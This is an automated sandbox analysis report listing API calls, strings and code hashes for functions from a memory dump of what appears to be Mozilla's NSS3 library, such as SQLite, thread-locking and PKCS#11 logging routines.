API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: 377c3e750b2b9c100bfc31688bf061396b307199bb9db6243019077a0aa95fa3
Instruction ID: 35958e573e665efed6236c883d4b88dd42638955043043ad6f66f41adf5d5caf
Opcode Fuzzy Hash: 377c3e750b2b9c100bfc31688bf061396b307199bb9db6243019077a0aa95fa3
Instruction Fuzzy Hash: AC31D571702184AFDB10DB95DD98B8A37B5EB4231DF084025F809BBA11EB309C49CBA6

Function 6CC22D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CC22D9F

Part of subcall function 6CADCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB3F9C9,?,6CB3F4DA,6CB3F9C9,?,?,6CB0369A), ref: 6CADCA7A
Part of subcall function 6CADCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CADCB26

sqlite3_exec.NSS3(?,?,6CC22F70,?,?), ref: 6CC22DF9
sqlite3_free.NSS3(00000000), ref: 6CC22E2C
sqlite3_free.NSS3(?), ref: 6CC22E3A
sqlite3_free.NSS3(?), ref: 6CC22E52
sqlite3_mprintf.NSS3(6CC8AAF9,?), ref: 6CC22E62
sqlite3_free.NSS3(?), ref: 6CC22E70
sqlite3_free.NSS3(?), ref: 6CC22E89
sqlite3_free.NSS3(?), ref: 6CC22EBB
sqlite3_free.NSS3(?), ref: 6CC22ECB
sqlite3_free.NSS3(00000000), ref: 6CC22F3E
sqlite3_free.NSS3(?), ref: 6CC22F4C

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 32360c848f29e817708d115effb060df470edca84cc2a8d19a226ecec69e661f
Instruction ID: f68497271505942bd3050c3268a5c3358e60cc36cf80ca77939430be9928c91f
Opcode Fuzzy Hash: 32360c848f29e817708d115effb060df470edca84cc2a8d19a226ecec69e661f
Instruction Fuzzy Hash: DF619EB5E102058BEB10CFA9D9A4B9EB7B1FF48358F150064DC55A7701FB39E849CBA1

Function 6CB72C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CB73F23,?,6CB6E477,?,?,?,00000001,00000000,?,?,6CB73F23,?), ref: 6CB72C62
EnterCriticalSection.KERNEL32(0000001C,?,6CB6E477,?,?,?,00000001,00000000,?,?,6CB73F23,?), ref: 6CB72C76
PL_HashTableLookup.NSS3(00000000,?,?,6CB6E477,?,?,?,00000001,00000000,?,?,6CB73F23,?), ref: 6CB72C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CB6E477,?,?,?,00000001,00000000,?,?,6CB73F23,?), ref: 6CB72C93

Part of subcall function 6CBFDD70: TlsGetValue.KERNEL32 ref: 6CBFDD8C
Part of subcall function 6CBFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBFDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CB6E477,?,?,?,00000001,00000000,?,?,6CB73F23,?), ref: 6CB72CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CB6E477,?,?,?,00000001,00000000,?,?,6CB73F23,?), ref: 6CB72CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CB6E477,?,?,?,00000001,00000000,?,?,6CB73F23), ref: 6CB72CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CB6E477,?,?,?,00000001,00000000,?), ref: 6CB72CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CB6E477,?,?,?,00000001,00000000,?), ref: 6CB72D4D
EnterCriticalSection.KERNEL32(?), ref: 6CB72D61
PL_HashTableLookup.NSS3(?,?), ref: 6CB72D71
PR_Unlock.NSS3(?), ref: 6CB72D7E

Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407AD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407CD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407D6
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAD204A), ref: 6CB407E4
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,6CAD204A), ref: 6CB40864
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB40880
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,6CAD204A), ref: 6CB408CB
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408D7
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408FB

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 5b0c1b236fe121c80f1380fdd181ccd16ac597dc436964cd10063349fe545224
Instruction ID: a04e759a1b77a63a658cca367d7950a11a053ade162fe2c1f606a943b637a0db
Opcode Fuzzy Hash: 5b0c1b236fe121c80f1380fdd181ccd16ac597dc436964cd10063349fe545224
Instruction Fuzzy Hash: 3751F5B5D00545EBDB109F64EC448AE77B4EF19358B048520ED2897B11E731E968CBE2

Function 6CB67C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCB2120,Function_00097E60,00000000,?,?,?,?,6CBE067D,6CBE1C60,00000000), ref: 6CB67C81

Part of subcall function 6CAD4C70: TlsGetValue.KERNEL32(?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4C97
Part of subcall function 6CAD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4CB0
Part of subcall function 6CAD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4CC9

TlsGetValue.KERNEL32 ref: 6CB67CA0
EnterCriticalSection.KERNEL32(?), ref: 6CB67CB4
PR_Unlock.NSS3 ref: 6CB67CCF

Part of subcall function 6CBFDD70: TlsGetValue.KERNEL32 ref: 6CBFDD8C
Part of subcall function 6CBFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBFDDB4

TlsGetValue.KERNEL32 ref: 6CB67D04
EnterCriticalSection.KERNEL32(?), ref: 6CB67D1B
realloc.MOZGLUE(-00000050), ref: 6CB67D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB67DF4
PR_Unlock.NSS3 ref: 6CB67E0E

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: c6f5f0df6194480b2ab087196f92be1acdd119d5822bcd478fe2339756c1f013
Instruction ID: 349a68407424d4e305592c9ccef2c5eafe00af98750004f98b33b65e0fb1c3a3
Opcode Fuzzy Hash: c6f5f0df6194480b2ab087196f92be1acdd119d5822bcd478fe2339756c1f013
Instruction Fuzzy Hash: CA5147B1A04190AFDF009F6ADC44B6A77B9FB02318F254539ED18E7B21EB71D854CB92

Function 6CAD4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4D97
PR_Lock.NSS3(?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4DBA
PR_WaitCondVar.NSS3 ref: 6CAD4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4DEF

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 6aa40786db44413655934f723feaca99a87565024d857b539a32bd1517ecaea1
Instruction ID: f98d7f31a123558c7ac52304fd5ecf8ce373a450f6a7f89bb7abb6bbf49652ff
Opcode Fuzzy Hash: 6aa40786db44413655934f723feaca99a87565024d857b539a32bd1517ecaea1
Instruction Fuzzy Hash: 1B418CB5A18655CFCB00AFBDE088159BBF4FF05314F168669D898DB700E730E884CB95

Function 6CC67CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CC67CE0

Part of subcall function 6CC19BF0: TlsGetValue.KERNEL32(?,?,?,6CC60A75), ref: 6CC19C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC67D36
PR_Realloc.NSS3(?,00000080), ref: 6CC67D6D
PR_GetCurrentThread.NSS3 ref: 6CC67D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CC67DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC67DD8
malloc.MOZGLUE(00000080), ref: 6CC67DF8
PR_GetCurrentThread.NSS3 ref: 6CC67E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CC67DF0
:%s:%d:0x%lx, xrefs: 6CC67DB9

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: c9ed4bfd37c8ed81c16ceab002eb15fe748767bf8b8ed60ead8f32521a25db93
Instruction ID: ad7467043b4e3684a6792da1c487e8aabb2b263bccdd1888e6fe986645ea9eec
Opcode Fuzzy Hash: c9ed4bfd37c8ed81c16ceab002eb15fe748767bf8b8ed60ead8f32521a25db93
Instruction Fuzzy Hash: DF4197B1A002059FDB04CF2ADDC096B37A5FF84318B25499DE8198BF51F731E951DB91

Function 6CC67E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC67E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CC67E46

Part of subcall function 6CB41240: TlsGetValue.KERNEL32(00000040,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB41267
Part of subcall function 6CB41240: EnterCriticalSection.KERNEL32(?,?,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB4127C
Part of subcall function 6CB41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB41291
Part of subcall function 6CB41240: PR_Unlock.NSS3(?,?,?,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB412A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CC67EAF
PR_ImportFile.NSS3(?), ref: 6CC67ECF
PR_GetCurrentThread.NSS3 ref: 6CC67ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CC67F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CC67F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CC67F15

Strings

NSPR_INHERIT_FDS, xrefs: 6CC67E41
%d:0x%lx, xrefs: 6CC67EA9

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: f3adb87e692347b8d4e2484a7edd9f2abf7d28c9c4d449b1be8563696389a6df
Instruction ID: fec94859559ad88601f966d75e6e2b355ce71f0e38b64bdeb9d71d3b5d8cdfc4
Opcode Fuzzy Hash: f3adb87e692347b8d4e2484a7edd9f2abf7d28c9c4d449b1be8563696389a6df
Instruction Fuzzy Hash: 35310F70E041198FEB009BAB8AC0AABB7B9FB05348F204965D805A7E11F7619D09E792

Function 6CB9ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CB9DE64), ref: 6CB9ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB9ED22

Part of subcall function 6CBAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC818D0,?), ref: 6CBAB095

PL_FreeArenaPool.NSS3(?), ref: 6CB9ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CB9ED6B
PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CB9ED38

Part of subcall function 6CAD4C70: TlsGetValue.KERNEL32(?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4C97
Part of subcall function 6CAD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4CB0
Part of subcall function 6CAD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CB9ED52
PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CB9ED83
PL_FreeArenaPool.NSS3(?), ref: 6CB9ED95
PL_FinishArenaPool.NSS3(?), ref: 6CB9ED9D

Part of subcall function 6CBB64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CBB127C,00000000,00000000,00000000), ref: 6CBB650E

Strings

security, xrefs: 6CB9ED06

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: f94624c774d8ea921092a8f412e4400afa0a193cb836d8bb12ff6129af2d1c75
Instruction ID: 1ddda237f5eed5ac2fe01609e2f4ed0957de4c05e3ce15a7accdd353d7f620d7
Opcode Fuzzy Hash: f94624c774d8ea921092a8f412e4400afa0a193cb836d8bb12ff6129af2d1c75
Instruction Fuzzy Hash: FB1124B69006A46BE6105665AC84BBFB278FF0360CF050934E85572E61FF35A94C86E7

Function 6CB82CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CB82CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CB82D07

Part of subcall function 6CC609D0: PR_Now.NSS3 ref: 6CC60A22
Part of subcall function 6CC609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC60A35
Part of subcall function 6CC609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC60A66
Part of subcall function 6CC609D0: PR_GetCurrentThread.NSS3 ref: 6CC60A70
Part of subcall function 6CC609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC60A9D
Part of subcall function 6CC609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC60AC8
Part of subcall function 6CC609D0: PR_vsmprintf.NSS3(?,?), ref: 6CC60AE8
Part of subcall function 6CC609D0: EnterCriticalSection.KERNEL32(?), ref: 6CC60B19
Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC60B48
Part of subcall function 6CC609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC60C76
Part of subcall function 6CC609D0: PR_LogFlush.NSS3 ref: 6CC60C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CB82D22

Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(?), ref: 6CC60B88
Part of subcall function 6CC609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC60C5D
Part of subcall function 6CC609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CC60C8D
Part of subcall function 6CC609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC60C9C
Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(?), ref: 6CC60CD1
Part of subcall function 6CC609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CC60CEC
Part of subcall function 6CC609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC60CFB
Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC60D16
Part of subcall function 6CC609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CC60D26
Part of subcall function 6CC609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC60D35
Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CC60D65
Part of subcall function 6CC609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CC60D70
Part of subcall function 6CC609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC60D90
Part of subcall function 6CC609D0: free.MOZGLUE(00000000), ref: 6CC60D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CB82D3B

Part of subcall function 6CC609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CC60BAB
Part of subcall function 6CC609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC60BBA
Part of subcall function 6CC609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC60D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CB82D54

Part of subcall function 6CC609D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC60BCB
Part of subcall function 6CC609D0: EnterCriticalSection.KERNEL32(?), ref: 6CC60BDE
Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(?), ref: 6CC60C16

Strings

slotID = 0x%x, xrefs: 6CB82D02
pPin = 0x%p, xrefs: 6CB82D1D
pLabel = 0x%p, xrefs: 6CB82D4F
C_InitToken, xrefs: 6CB82CE7
ulPinLen = %d, xrefs: 6CB82D36

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 1788329fed4a830cb926092fa5a5a5c944ae460ae1af8b201e9fec93e083e388
Instruction ID: d579645a9c734a8320d316fa859db69b92042221c92377276f696d595c08082c
Opcode Fuzzy Hash: 1788329fed4a830cb926092fa5a5a5c944ae460ae1af8b201e9fec93e083e388
Instruction Fuzzy Hash: 6021AD75202194EFDB009F94DE9CA893FB6EB4231EF444015E908A7A62DB30DC49CB66

Function 6CC60EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CB42357), ref: 6CC60EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CB42357), ref: 6CC60EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CC60EE6

Part of subcall function 6CC609D0: PR_Now.NSS3 ref: 6CC60A22
Part of subcall function 6CC609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC60A35
Part of subcall function 6CC609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC60A66
Part of subcall function 6CC609D0: PR_GetCurrentThread.NSS3 ref: 6CC60A70
Part of subcall function 6CC609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC60A9D
Part of subcall function 6CC609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC60AC8
Part of subcall function 6CC609D0: PR_vsmprintf.NSS3(?,?), ref: 6CC60AE8
Part of subcall function 6CC609D0: EnterCriticalSection.KERNEL32(?), ref: 6CC60B19
Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC60B48
Part of subcall function 6CC609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC60C76
Part of subcall function 6CC609D0: PR_LogFlush.NSS3 ref: 6CC60C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CC60EFA

Part of subcall function 6CB4AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CB4AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC60F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC60F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC60F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC60F2B

Strings

Aborting, xrefs: 6CC60EB3
Assertion failure: %s, at %s:%d, xrefs: 6CC60ED9, 6CC60EE5, 6CC60F06, 6CC60F0B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

